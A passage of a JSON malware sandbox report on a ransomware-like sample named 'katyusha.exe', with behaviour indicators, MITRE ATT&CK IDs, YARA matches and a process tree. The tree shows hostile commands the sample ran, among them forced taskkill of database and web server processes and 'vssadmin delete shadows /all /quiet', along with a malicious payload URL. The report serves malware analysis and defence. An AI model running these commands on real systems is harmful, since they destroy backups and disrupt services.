zkts.exe.2141932471]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Observed api string:\"GetKeyState\" [Source: zkts.exe.2141932471]","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about the current system (API string)","description":"Observed api string:\"GetNativeSystemInfo\" [Source: 19343-68-00403ECA]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Observed api string:\"GetEnvironmentVariableW\" [Source: zkts.exe.2141932471]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Observed api string:\"GetSystemMetrics\" [Source: zkts.exe.2141932471]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to take screen capture of the target machine (API string)","description":"Observed api string:\"CreateCompatibleBitmap\" [Source: zkts.exe.2141932471]","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetEnvironmentVariable API","description":"Observed import api \"GetEnvironmentVariable\" which can \"read the host's architecture\" [Source: ZKTS.EXE.6371868F.bin]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-81","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Observed api string:\"FreeSid which can Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function\"[Source: zkts.exe.2141932471]\n Observed api string:\"CheckTokenMembership which can Determines whether a specified security identifier (SID) is enabled in an access token\"[Source: zkts.exe.2141932471]\n Observed api string:\"AllocateAndInitializeSid which can Allocates and initializes a security identifier (SID) with up to eight subauthorities\"[Source: zkts.exe.2141932471]\n Observed api string:\"AllocateAndInitializeSid which can Initializes a security identifier (SID)\"[Source: zkts.exe.2141932471]","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"CopySid\" which can \"Copies a security identifier (SID) to a buffer\" [Source: M64.EXE.63718696.bin]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically get system version information","description":"\"katyusha.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003064)\n \"katyusha.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003064)\n \"katyusha.exe\" called \"RtlGetVersion\" (UID: 00000000-00003064)\n \"katyusha.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003064)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"katyusha.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00003064)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 19343-211-0041BF10\n cpuid at 29005-142-10006344","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle for the specified module","description":"GetModuleHandleA@KERNEL32.dll at 19343-1-0041C35F\n GetModuleHandleW@KERNEL32.dll at 19343-607-00407E82\n GetModuleHandleW@KERNEL32.dll at 19343-584-00403908","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the specified system metric or system configuration setting","description":"GetSystemMetrics@USER32.dll at 19343-600-00407803","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-122","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"svchostb.exe\" (Thread ID: 5036) slept \"520\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Possible heap spraying attempt detected","description":"\"taskkill.exe\" allocated at least 32772 KB of consecutive memory with 119 calls","origin":"API Call","relevance":10,"id":"api-88","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"6/91 reputation engines marked \"http://86.106.102.147/img/katyusha.data\" as malicious (6% detection rate)\n 3/68 reputation engines marked \"http://86.106.102.147\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LoadResource@KERNEL32.dll at 19343-584-00403908","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$3f","origin":"API Call","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$40","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoW@USER32.dll at 19343-607-00407E82\n SystemParametersInfoW@USER32.dll at 19343-600-00407803","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"$41","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"ktsi.exe\" called \"GetDriveTypeA\" (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"zkts.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00007896)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"zkts.exe\" called \"FindFirstFileW\" (UID: 00000000-00007896)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"\"UseHostnameAsAlias\" (Indicator: \"hostname\")\n \"GetNativeSystemInfo\" (Indicator: \"systeminfo\")\n \"Cd /d %1\nRd \"%SfxVarApiPath%\"\nFor /f \"Tokens=1\n2 Delims=\n\" %%I In ('TaskList /fo CSV /nh') Do (\n If %%I==%2 (\n Set /a N+=1\n Set PID=%%~J\n )\n)\nIf %N% EQU 1 Rd /s /q %1\nIf %N% GTR 1 TaskKill /pid %PID% /t /f\" (Indicator: \"tasklist\")\n \"For /f \"Tokens=1\n2 Delims=\n\" %%I In ('TaskList /fo CSV /nh') Do (\" (Indicator: \"tasklist\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access non-existent files","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"$43","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1\" classified file \"svchostbs.exe\" as \"equation,apt\" based on indicators: \"[-] Error appending shellcode buffer\" (Reference: https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, Author: Florian Roth)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"_how_to_decrypt_you_files.txt\" which has been seen in the context of ransomware (Indicator: How_To_Decrypt)\n Found dropped filename \"_how_to_decrypt_you_files.html\" which has been seen in the context of ransomware (Indicator: How_To_Decrypt)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"2/69 reputation engines marked \"http://86.106.102.147/img/katyusha.data\" as malicious (2% detection rate)\n 1/70 reputation engines marked \"http://86.106.102.147\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"svchostp.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","mitre_attack_id":"T1035","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Network Related","name":"Detected increased number of ARP broadcast requests (network device lookup)","description":"Attempt to find devices in networks: \"192.168.56.2/31, 192.168.56.4/30, ...\"","origin":"Network Traffic","mitre_attack_id":"T1046","relevance":10,"id":"network-32","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"Network Related","name":"Detected a large number of ARP broadcast requests (network device lookup)","description":"Attempt to find devices in networks: \"192.168.56.2/31, 192.168.56.4/30, 192.168.56.8/29, 192.168.56.16/30, 192.168.56.21/32, 192.168.56.22/31, 192.168.56.24/29, 192.168.56.32/28\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":10,"id":"network-31","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"Ransomware","details_count":1,"details":[{"detail":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries process information"},{"detail":"Reads the windows installation language"},{"detail":"Reads the active computer name"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Detected a large number of ARP broadcast requests (network device lookup)"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]}]},"activity":{"stats":{"process_count":79,"spawned_processes_count":79,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":64,"imported_dlls_count":152,"dropped_files_count":0,"extracted_files_count":44,"files_written_count":315,"files_deleted_count":0,"registry_keys_created_count":16,"registry_keys_modified_count":0,"registry_keys_deleted_count":7,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":23,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["tag","backdoor","exploit","hacktool","mimikatz","ransomware","apt","equation","ausiv","c99shell","coxwepo","cve-2014-4114","eqtonex","genmaldwn","metasploit","meterpreter","poison","poisonivy","rat","rozena","sivis"],"sample_flags":["Multi-Process","Extracted Files","User Comment","Sample Crashed","TOR analysis"],"sandbox_reports":[{"id":"6371f5adcac07a0dee0d13b6","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"GenPack:Generic.Malware.FBV2","submit_name":"katyusha.exe","analysis_start_time":"2022-11-14T08:00:47+00:00","indicators_count":{"informative":44,"suspicious":53,"malicious":17},"tags":["Multi-Process","Extracted Files","Sample Crashed","User Comment"],"is_in_unified_schema":true},{"id":"615288724064b551e223af59","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"GenPack:Generic.Malware.FBV2","submit_name":"katyusha","analysis_start_time":"2021-09-28T03:13:58+00:00","indicators_count":{"informative":16,"suspicious":23,"malicious":13},"tags":["Multi-Process","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"613ef8415943163b3a37b90d","environment_id":120,"environment_description":"Windows 7 64 bit","state":"ERROR","error_type":"Failed to save report to webservice","verdict":"undetected","submit_name":"file","analysis_start_time":"2021-09-13T07:05:37+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"604e9d24bdc46b31396e4ee2","environment_id":120,"environment_description":"Windows 7 64 bit","state":"ERROR","error_type":"Failed to save report to webservice","verdict":"undetected","submit_name":"katyusha","analysis_start_time":"2021-03-14T23:32:52+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"5bdff5a37ca3e1433d19f8da","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ransom.Generic","submit_name":"Sample_5bc9d9bedac6ed6ea97780df.bin","analysis_start_time":"2018-11-05T08:50:37+00:00","indicators_count":{"informative":17,"suspicious":27,"malicious":16},"tags":["Multi-Process","Extracted Files","User Comment","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}],"processes":[{"pid":2400,"ppid":0,"name":"Sample_5bc9d9bedac6ed6ea97780df.bin.exe","command_line":"","sha256":"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6","normalized_path":"C:\\Sample_5bc9d9bedac6ed6ea97780df.bin.exe","uid":"00028540-00002400","icon":"$44"},{"pid":4060,"ppid":2400,"name":"cmd.exe","command_line":"/c %WINDIR%\\temp/zkts.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00028540-00002400","uid":"00029200-00004060"},{"pid":652,"ppid":4060,"name":"zkts.exe","command_line":"%WINDIR%\\temp/zkts.exe","sha256":"7f5f134fd3ec2c14956acd7362c76e66759b8ecc51f986ef80bbf9f7f94b89fe","normalized_path":"%WINDIR%\\Temp\\zkts.exe","parent_uid":"00029200-00004060","uid":"00029214-00000652"},{"pid":4056,"ppid":2400,"name":"cmd.exe","command_line":"/c %WINDIR%\\temp/m32.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00028540-00002400","uid":"00029730-00004056"},{"pid":4052,"ppid":4056,"name":"m32.exe","command_line":"%WINDIR%\\temp/m32.exe","sha256":"4179a1bff4c698ea6958bacb1f1734b9ab804cef35ecaf0e2a2b4b2eadf8e935","normalized_path":"%WINDIR%\\Temp\\m32.exe","parent_uid":"00029730-00004056","uid":"00029733-00004052"},{"pid":2084,"ppid":2400,"name":"ktsi.exe","command_line":"","sha256":"a3dabb63f11e208a0d1d9b43b3d2575e2dc2a7d87c14eb654d3062f3bc0ad12d","normalized_path":"%WINDIR%\\Temp\\ktsi.exe","parent_uid":"00028540-00002400","uid":"00030301-00002084"},{"pid":3476,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM mysqld.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00030668-00003476"},{"pid":2204,"ppid":3476,"name":"taskkill.exe","command_line":"taskkill /F /IM mysqld.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00030668-00003476","uid":"00030677-00002204"},{"pid":3100,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM httpd.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00030783-00003100"},{"pid":3404,"ppid":3100,"name":"taskkill.exe","command_line":"taskkill /F /IM httpd.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00030783-00003100","uid":"00030797-00003404"},{"pid":3604,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM sqlservr.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00030975-00003604"},{"pid":2112,"ppid":3604,"name":"taskkill.exe","command_line":"taskkill /F /IM sqlservr.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00030975-00003604","uid":"00031001-00002112"},{"pid":2104,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM sqlwriter.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00031261-00002104"},{"pid":2968,"ppid":2104,"name":"taskkill.exe","command_line":"taskkill /F /IM sqlwriter.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00031261-00002104","uid":"00031303-00002968"},{"pid":2900,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM w3wp.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00032013-00002900"},{"pid":2092,"ppid":2900,"name":"taskkill.exe","command_line":"taskkill /F /IM w3wp.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00032013-00002900","uid":"00032114-00002092"},{"pid":3736,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM sqlagent.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00032872-00003736"},{"pid":2456,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM sqlagent.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00032872-00003736","uid":"00033015-00002456"},{"pid":1264,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM fdhost.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00033878-00001264"},{"pid":1068,"ppid":1264,"name":"taskkill.exe","command_line":"taskkill /F /IM fdhost.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00033878-00001264","uid":"00034019-00001068"},{"pid":3364,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM fdlauncher.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00034642-00003364"},{"pid":2980,"ppid":3364,"name":"taskkill.exe","command_line":"taskkill /F /IM fdlauncher.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00034642-00003364","uid":"00034688-00002980"},{"pid":3620,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM reportingservicesservice.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00035677-00003620"},{"pid":568,"ppid":3620,"name":"taskkill.exe","command_line":"taskkill /F /IM reportingservicesservice.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00035677-00003620","uid":"00035729-00000568"},{"pid":860,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM omtsreco.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00036561-00000860"},{"pid":2216,"ppid":860,"name":"taskkill.exe","command_line":"taskkill /F /IM omtsreco.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00036561-00000860","uid":"00036609-00002216"},{"pid":2900,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM tnslsnr.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00037124-00002900"},{"pid":2392,"ppid":2900,"name":"taskkill.exe","command_line":"taskkill /F /IM tnslsnr.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00037124-00002900","uid":"00037161-00002392"},{"pid":2456,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM oracle.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00037565-00002456"},{"pid":948,"ppid":2456,"name":"taskkill.exe","command_line":"taskkill /F /IM oracle.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00037565-00002456","uid":"00037670-00000948"},{"pid":2424,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM emagent.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00038106-00002424"},{"pid":3092,"ppid":2424,"name":"taskkill.exe","command_line":"taskkill /F /IM emagent.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00038106-00002424","uid":"00038124-00003092"},{"pid":2936,"ppid":2084,"name":"cmd.exe","command_line":"/c taskkill /F /IM mysqld-nt.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00038534-00002936"},{"pid":1068,"ppid":2936,"name":"taskkill.exe","command_line":"taskkill /F /IM mysqld-nt.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00038534-00002936","uid":"00038571-00001068"},{"pid":2640,"ppid":2084,"name":"cmd.exe","command_line":"/c vssadmin delete shadows /all /quiet&vssadmin delete shadows /all /quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030301-00002084","uid":"00039482-00002640"},{"pid":2980,"ppid":2640,"name":"vssadmin.exe","command_line":"vssadmin delete shadows /all /quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","parent_uid":"00039482-00002640","uid":"00039538-00002980"},{"pid":2508,"ppid":2640,"name":"vssadmin.exe","command_line":"vssadmin delete shadows /all 